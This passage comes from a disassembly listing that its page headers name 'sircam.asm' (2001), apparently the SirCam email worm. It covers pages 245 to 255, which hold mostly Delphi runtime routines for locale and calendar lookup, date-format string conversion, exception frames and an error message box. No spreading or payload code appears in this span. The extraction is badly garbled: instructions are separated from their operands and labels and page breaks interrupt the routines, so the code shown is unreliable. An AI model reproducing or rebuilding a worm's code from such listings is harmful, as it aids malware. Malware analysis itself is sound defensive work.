fs:[eax], esp xor esi, esi mov ebx, 1 jmp short loc_408F20 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408F1A: ; CODE XREF: sub_408EFC+2C\031j cmp jz inc ebx, 7 short loc_408F4B ebx cmp jnz lea mov call mov xor call mov mov ; CODE XREF: sub_408EFC+1C\030j ds:dword_41E5CC[ebx*4], 0FFFFFFFFh short loc_408F1A eax, [ebp+var_4] edx, [ebp+arg_0] sub_403680 eax, [ebp+var_4] edx, edx sub_407058 ds:dword_41E5CC[ebx*4], eax esi, 1 xor pop pop pop mov push ; CODE XREF: sub_408EFC+21\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_408F68 loc_408F20: loc_408F4B: loc_408F58: sub_408EFC ; CODE XREF: CODE:00408F66\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -14h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408F61: ; DATA XREF: sub_408EFC+A\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_408F58 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_408F68: ; DATA XREF: sub_408EFC+57\030o mov eax, esi pop esi pop ebx pop ecx pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm Fri Aug 10 12:42:44 2001 245 ; Attributes: bp-based frame sub_408F74 proc near var_4 = dword ptr -4 ; CODE XREF: sub_40A020+31\031p push mov push push xor push push push mov lea push call mov mov call mov mov call mov mov add sub jnb push push call push push call mov mov ebp ebp, esp 0 esi eax, eax ebp offset loc_40900B dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] eax j_GetThreadLocale_0 ecx, offset dword_409020 edx, 100Bh sub_408CEC eax, [ebp+var_4] edx, 1 sub_407058 esi, eax eax, esi eax, 0FFFFFFFDh eax, 3 short loc_408FF5 4 esi j_GetThreadLocale_0 eax offset sub_408EC0 j_EnumCalendarInfoA edx, 7 eax, offset unk_41E5D0 mov add dec jnz push push call push push call ; CODE XREF: sub_408F74+6C\031j dword ptr [eax], 0FFFFFFFFh eax, 4 edx short loc_408FD6 3 esi j_GetThreadLocale_0 eax offset sub_408EFC j_EnumCalendarInfoA xor pop pop pop mov push ; CODE XREF: sub_408F74+43\030j eax, eax edx ecx ecx fs:[eax], edx offset loc_409012 loc_408FD6: loc_408FF5: loc_409002: sub_408F74 ; CODE XREF: CODE:00409010\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -10h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40900B: ; DATA XREF: sub_408F74+9\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_409002 sircam.asm Fri Aug 10 12:42:44 2001 246 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409012: ; DATA XREF: sub_408F74+89\030o pop esi pop ecx pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dd 0FFFFFFFFh, 1 dword_409020 dd 31h ; DATA XREF: sub_408F74+1D\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_409024 proc near var_10 var_C var_8 var_4 = = = = dword dword dword dword ptr ptr ptr ptr ; CODE XREF: sub_40A020+11C\031p ; sub_40A020+149\031p -10h -0Ch -8 -4 push ebp mov ebp, esp xor ecx, ecx push ecx push ecx push ecx push ecx push ebx push esi push edi mov edi, edx mov esi, eax xor eax, eax push ebp push offset loc_4091E6 push dword ptr fs:[eax] mov fs:[eax], esp mov ebx, 1 mov eax, edi call sub_4034C8 lea eax, [ebp+var_4] push eax call j_GetThreadLocale_0 mov ecx, offset dword_4091FC mov edx, 1009h call sub_408CEC mov eax, [ebp+var_4] mov edx, 1 call sub_407058 add eax, 0FFFFFFFDh sub eax, 3 jb loc_4091BC mov ax, ds:word_41E5AC sub ax, 4 jz short loc_409098 add eax, 0FFFFFFF3h sub ax, 2 jb short loc_409098 xor eax, eax jmp short loc_40909A ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409098: ; CODE XREF: sub_409024+65\030j ; sub_409024+6E\030j mov al, 1 sircam.asm Fri Aug 10 12:42:44 2001 247 loc_40909A: ; CODE XREF: sub_409024+72\030j test al, al jz short loc_4090D3 jmp short loc_4090C3 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4090A0: ; CODE XREF: sub_409024+A8\031j mov sub jz sub jz lea mov call mov mov call al, [esi+ebx-1] al, 47h short loc_4090C2 al, 20h short loc_4090C2 eax, [ebp+var_8] dl, [esi+ebx-1] sub_403670 edx, [ebp+var_8] eax, edi sub_40372C loc_4090C2: ; CODE XREF: sub_409024+82\030j ; sub_409024+86\030j inc ebx loc_4090C3: ; CODE XREF: sub_409024+7A\030j mov eax, esi call sub_403724 cmp ebx, eax jle short loc_4090A0 jmp loc_4091CB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4090D3: ; CODE XREF: sub_409024+78\030j mov eax, edi mov edx, esi call sub_40351C jmp loc_4091CB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4090E1: ; CODE XREF: sub_409024+1A1\031j mov al, [esi+ebx-1] and eax, 0FFh bt ds:dword_41C104, eax jnb short loc_409117 lea eax, [ebp+var_C] push eax mov ecx, 2 mov edx, ebx mov eax, esi call sub_40392C mov edx, [ebp+var_C] mov eax, edi call sub_40372C add ebx, 2 jmp loc_4091BC ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409117: ; CODE XREF: sub_409024+CD\030j mov edx, offset dword_409200 lea eax, [esi+ebx-1] mov ecx, 2 call sub_4075E0 test eax, eax jnz short loc_40913D mov eax, edi mov edx, offset dword_40920C call sub_40372C inc ebx jmp short loc_4091BB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ sircam.asm Fri Aug 10 12:42:44 2001 248 loc_40913D: ; CODE XREF: sub_409024+108\030j mov edx, offset aYyyy_0 ; "yyyy" lea eax, [esi+ebx-1] mov ecx, 4 call sub_4075E0 test eax, eax jnz short loc_409165 mov eax, edi mov edx, offset aEeee ; "eeee" call sub_40372C add ebx, 3 jmp short loc_4091BB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409165: ; CODE XREF: sub_409024+12E\030j mov edx, offset aYy ; "yy" lea eax, [esi+ebx-1] mov ecx, 2 call sub_4075E0 test eax, eax jnz short loc_40918B mov eax, edi mov edx, offset dword_409234 call sub_40372C inc ebx jmp short loc_4091BB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_40918B: ; CODE XREF: sub_409024+156\030j mov sub jz sub jnz al, [esi+ebx-1] al, 59h short loc_409197 al, 20h short loc_4091A5 loc_409197: ; CODE XREF: sub_409024+16D\030j mov eax, edi mov edx, offset dword_409240 call sub_40372C jmp short loc_4091BB ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4091A5: lea mov call mov mov call ; CODE XREF: sub_409024+171\030j eax, [ebp+var_10] dl, [esi+ebx-1] sub_403670 edx, [ebp+var_10] eax, edi sub_40372C loc_4091BB: ; CODE XREF: sub_409024+117\030j ; sub_409024+13F\030j ... inc ebx loc_4091BC: ; CODE XREF: sub_409024+55\030j ; sub_409024+EE\030j mov call cmp jle loc_4091CB: eax, esi sub_403724 ebx, eax loc_4090E1 ; CODE XREF: sub_409024+AA\030j ; sub_409024+B8\030j xor pop pop pop mov push eax, eax edx ecx ecx fs:[eax], edx offset loc_4091ED sircam.asm loc_4091D8: sub_409024 Fri Aug 10 12:42:44 2001 249 ; CODE XREF: CODE:004091EB\031j lea eax, [ebp+var_10] mov edx, 4 call sub_4034EC retn endp ; sp = -24h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4091E6: ; DATA XREF: sub_409024+13\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4091D8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4091ED: ; DATA XREF: sub_409024+1AF\030o pop edi pop esi pop ebx mov esp, ebp pop ebp retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ dd 0FFFFFFFFh, 1 dword_4091FC dd 31h ; DATA XREF: sub_409024+33\030o dword_409200 dd 6767h, 0FFFFFFFFh, 3 ; DATA XREF: sub_409024+F3\030o dword_40920C dd 676767h ; DATA XREF: sub_409024+10C\030o aYyyy_0 db ’yyyy’,0 ; DATA XREF: sub_409024+119\030o align 4 dd 0FFFFFFFFh, 4 aEeee db ’eeee’,0 ; DATA XREF: sub_409024+132\030o align 4 aYy db ’yy’,0 ; DATA XREF: sub_409024+141\030o align 4 dd 0FFFFFFFFh, 2 dword_409234 dd 6565h, 0FFFFFFFFh, 1 ; DATA XREF: sub_409024+15A\030o dword_409240 dd 65h ; DATA XREF: sub_409024+175\030o ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409244 proc near ; CODE XREF: CODE:004092B3\031p test eax, eax jz short locret_40924D sub eax, 1000h locret_40924D: sub_409244 ; CODE XREF: sub_409244+2\030j retn endp ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 push ebp mov ebp, esp add esp, 0FFFFFBA8h push ebx push esi push edi mov [ebp-4], ecx mov ebx, edx mov esi, eax push 1Ch lea eax, [ebp-330h] push eax push ebx call j_VirtualQuery_0 cmp dword ptr [ebp-320h], 1000h jnz short loc_40929A push 105h lea eax, [ebp-212h] sircam.asm Fri Aug 10 12:42:44 2001 push mov push call test jnz 250 eax eax, [ebp-32Ch] eax j_GetModuleFileNameA_1 eax, eax short loc_4092BD loc_40929A: ; CODE XREF: CODE:0040927C\030j push 105h lea eax, [ebp-212h] push eax mov eax, ds:dword_41E4D4 push eax call j_GetModuleFileNameA_1 mov eax, ebx call sub_409244 mov [ebp-8], eax jmp short loc_4092C6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4092BD: ; CODE XREF: CODE:00409298\030j sub mov ebx, [ebp-32Ch] [ebp-8], ebx lea mov call mov inc lea mov call mov mov mov mov call test jz mov call mov mov call test jz cmp jz mov ; CODE XREF: CODE:004092BB\030j eax, [ebp-212h] dl, 5Ch sub_409F00 edx, eax edx eax, [ebp-10Dh] ecx, 104h sub_407588 ebx, offset dword_4093D0 edi, offset dword_4093D0 eax, esi edx, ds:off_4061F4 sub_402C40 al, al short loc_409322 eax, [esi+4] sub_4038E8 ebx, eax eax, ebx sub_407534 eax, eax short loc_409322 byte ptr [ebx+eax-1], 2Eh short loc_409322 edi, offset dword_4093D4 loc_4092C6: loc_409322: ; CODE XREF: CODE:004092FF\030j ; CODE:00409314\030j ... push lea push mov mov push mov call push call lea mov call lea mov mov lea 100h eax, [ebp-312h] eax eax, ds:off_41DC78 eax, [eax+4] eax eax, ds:dword_41E4D4 sub_404638 eax j_LoadStringA_0 edx, [ebp-458h] eax, [esi] sub_402B5C eax, [ebp-458h] [ebp-358h], eax byte ptr [ebp-354h], 4 eax, [ebp-10Dh] sircam.asm Fri Aug 10 12:42:44 2001 251 mov [ebp-350h], eax mov byte ptr [ebp-34Ch], 6 mov eax, [ebp-8] mov [ebp-348h], eax mov byte ptr [ebp-344h], 5 mov [ebp-340h], ebx mov byte ptr [ebp-33Ch], 6 mov [ebp-338h], edi mov byte ptr [ebp-334h], 6 lea eax, [ebp-358h] push eax push 4 lea ecx, [ebp-312h] mov edx, [ebp+8] mov eax, [ebp-4] call sub_407AF8 mov eax, [ebp-4] call sub_407534 pop edi pop esi pop ebx mov esp, ebp pop ebp retn 4 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 dword_4093D0 dd 0 ; DATA XREF: CODE:004092E6\030o ; CODE:004092EB\030o dword_4093D4 dd 2Eh, 0FBC0C481h, 68FFFFh, 8D000004h, 0E844244Ch, 0FFFFFE64h ; DATA XREF: CODE:0040931D\030o ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ mov eax, ds:off_41DC18 cmp byte ptr [eax], 0 jz short loc_409410 lea edx, [esp+40h] mov eax, ds:off_41DB30 call sub_40528C call sub_40520F call sub_40265C jmp short loc_409446 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409410: push lea push mov mov push mov call push call push lea push lea push push call ; CODE XREF: CODE:004093F4\030j 40h eax, [esp+4] eax eax, ds:off_41DB0C eax, [eax+4] eax eax, ds:dword_41E4D4 sub_404638 eax j_LoadStringA_0 2010h eax, [esp+4] eax eax, [esp+48h] eax 0 j_MessageBoxA_0 loc_409446: ; CODE XREF: CODE:0040940E\030j add esp, 440h retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sircam.asm sub_409450 Fri Aug 10 12:42:44 2001 proc near ; CODE XREF: sub_406CBC+C\030p ; sub_409608+32\031p ... push push push test jz add call ebx esi edi dl, dl short loc_40945F esp, 0FFFFFFF0h sub_402CDC mov mov mov lea mov call mov test jz call pop add ; CODE XREF: sub_409450+5\030j esi, ecx ebx, edx edi, eax eax, [edi+4] edx, esi sub_40351C eax, edi bl, bl short loc_409484 sub_402D34 large dword ptr fs:0 esp, 0Ch loc_40945F: loc_409484: sub_409450 252 ; CODE XREF: sub_409450+23\030j mov pop pop pop retn endp eax, edi edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_40948C proc near var_4 arg_0 arg_4 = dword ptr -4 = dword ptr 8 = dword ptr 0Ch ; CODE XREF: sub_406CD4+32\030p ; sub_4096CC+77\031p ... push mov push push push push test jz add call ebp ebp, esp 0 ebx esi edi dl, dl short loc_4094A0 esp, 0FFFFFFF0h sub_402CDC mov mov mov xor push push push mov lea push mov mov ; CODE XREF: sub_40948C+A\030j esi, ecx ebx, edx edi, eax eax, eax ebp offset loc_4094E6 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] eax edx, [ebp+arg_4] ecx, [ebp+arg_0] loc_4094A0: sircam.asm Fri Aug 10 12:42:44 2001 mov call mov lea call xor pop pop pop mov push eax, esi sub_407B2C edx, [ebp+var_4] eax, [edi+4] sub_40351C eax, eax edx ecx ecx fs:[eax], edx offset loc_4094ED loc_4094DD: sub_40948C 253 ; CODE XREF: CODE:004094EB\031j lea eax, [ebp+var_4] call sub_4034C8 retn endp ; sp = -28h ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4094E6: ; DATA XREF: sub_40948C+1D\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4094DD ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4094ED: mov test jz call pop add ; DATA XREF: sub_40948C+4C\030o eax, edi bl, bl short loc_409502 sub_402D34 large dword ptr fs:0 esp, 0Ch mov pop pop pop pop pop retn eax, edi edi esi ebx ecx ebp 8 loc_409502: ; CODE XREF: CODE:004094F1\030j ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_40950C proc near ; CODE XREF: sub_40A398+67\031p ; sub_40D884+29\031p ... push push push test jz add call ebx esi edi dl, dl short loc_40951B esp, 0FFFFFFF0h sub_402CDC mov mov mov lea mov call mov test jz call pop add ; CODE XREF: sub_40950C+5\030j esi, ecx ebx, edx edi, eax edx, [edi+4] eax, esi sub_404B80 eax, edi bl, bl short loc_409540 sub_402D34 large dword ptr fs:0 esp, 0Ch loc_40951B: sircam.asm Fri Aug 10 12:42:44 2001 loc_409540: sub_40950C 254 ; CODE XREF: sub_40950C+23\030j mov pop pop pop retn endp eax, edi edi esi ebx ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ ; Attributes: bp-based frame sub_409548 proc near var_8 var_4 arg_0 arg_4 = = = = dword dword dword dword ; CODE XREF: sub_409608+51\031p ; sub_4097A4+1D\031p ... ptr -8 ptr -4 ptr 8 ptr 0Ch push mov push push push push push test jz add call ebp ebp, esp 0 0 ebx esi edi dl, dl short loc_40955E esp, 0FFFFFFF0h sub_402CDC mov mov mov xor push push push mov lea push lea mov call mov mov mov call mov lea call xor pop pop pop mov push ; CODE XREF: sub_409548+C\030j esi, ecx ebx, edx edi, eax eax, eax ebp offset loc_4095B4 dword ptr fs:[eax] fs:[eax], esp eax, [ebp+var_4] eax edx, [ebp+var_8] eax, esi sub_404B80 eax, [ebp+var_8] edx, [ebp+arg_4] ecx, [ebp+arg_0] sub_407B2C edx, [ebp+var_4] eax, [edi+4] sub_40351C eax, eax edx ecx ecx fs:[eax], edx offset loc_4095BB loc_40955E: loc_4095A6: sub_409548 ; CODE XREF: CODE:004095B9\031j lea eax, [ebp+var_8] mov edx, 2 call sub_4034EC retn endp ; sp = -2Ch sircam.asm Fri Aug 10 12:42:44 2001 255 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4095B4: ; DATA XREF: sub_409548+1F\030o jmp loc_402F60 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ jmp short loc_4095A6 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_4095BB: mov test jz call pop add ; DATA XREF: sub_409548+59\030o eax, edi bl, bl short loc_4095D0 sub_402D34 large dword ptr fs:0 esp, 0Ch loc_4095D0: ; CODE XREF: CODE:004095BF\030j mov eax, edi pop edi pop esi pop ebx pop ecx pop ecx pop ebp retn 8 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ align 4 loc_4095DC: cmp jz call ; DATA XREF: CODE:004062A0\030o ; CODE:004062FC\030o ... byte ptr [eax+0Ch], 0 short locret_4095E7 sub_402B84 locret_4095E7: ; CODE XREF: CODE:004095E0\030j retn ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ off_4095E8 dd offset dword_4095EC ; DATA XREF: sub_40B194+50\031r dword_4095EC dd 4554090Eh, 726F7272h, 8636552h, 1000000h ; DATA XREF: CODE:004095E8 \030o db 3 dup(0) dd offset off_401000 align 8 ; ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ S U B R O U T I N E ÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛÛ sub_409608 proc near var_8 var_4 = dword ptr -8 = byte ptr -4 ; CODE XREF: sub_409688+36\031p push ebx push esi add esp, 0FFFFFFF8h xor ebx, ebx call sub_402698 mov esi, eax jmp short loc_409619 ; ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ loc_409618: ; CODE XREF: sub_409608+1D\031j inc ebx cmp jg cmp jnz ; CODE XREF: sub_409608+E\030j ebx, 6 short loc_409627 esi, ds:dword_41C1F8[ebx*8] short loc_409618 loc_409619: sircam.asm Fri Aug 